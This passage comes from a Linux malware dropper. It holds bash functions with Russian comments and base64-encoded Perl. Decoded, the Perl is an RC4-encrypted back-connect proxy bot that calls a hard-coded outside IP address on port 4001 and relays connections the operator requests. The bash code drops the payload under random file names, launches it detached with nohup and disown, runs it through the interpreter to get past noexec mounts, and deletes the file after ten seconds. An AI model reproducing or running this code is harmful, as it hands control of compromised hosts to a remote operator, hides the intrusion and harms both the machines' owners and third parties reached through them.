ArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_97891b31() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDQnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXk